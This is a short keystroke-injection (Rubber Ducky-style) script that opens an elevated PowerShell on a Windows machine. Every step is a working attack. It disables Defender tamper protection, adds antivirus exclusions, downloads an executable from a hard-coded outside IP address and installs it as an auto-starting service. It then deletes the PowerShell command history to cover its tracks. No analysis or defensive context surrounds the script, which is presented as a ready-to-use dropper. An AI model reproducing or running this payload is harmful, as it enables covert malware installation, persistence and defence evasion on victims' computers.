RD Payload for PowerShell Dropper

Code
REM TITLE Web Execute

REM AUTHOR DramaKing

REM DESCRIPTION Download and execute file hosted on web with persistence.



DELAY 500

WIN r

DELAY 500

CTRL ALT ENTER

DELAY 2000

ALT y

DELAY 2000

STRINGLN Set-ACL -on 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Features' -ot reg -actn setowner "n:Administrator"

DELAY 250

STRINGLN Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Features' -Name TamperProtection -Value 0

DELAY 250

STRINGLN Add-MpPreference -ExclusionPath C:\Windows\System32\winsrv.exe

DELAY 250

STRINGLN Add-MpPreference -ExclusionPath C:\Windows\SysWoW64\winsrv.exe

DELAY 250

STRINGLN curl http://164.152.25.107/winsrv.exe -OutFile .\winsrv.exe

DELAY 3000

STRINGLN New-Service -Name winsrv -BinaryPathName C:\Windows\System32\winsrv.exe -StartupType Automatic

ENTER

DELAY 500

STRINGLN Start-Service -Name winsrv

DELAY 1000

STRINGLN Remove-Item (Get-PSReadlineOption).HistorySavePath

DELAY 500

STRINGLN exit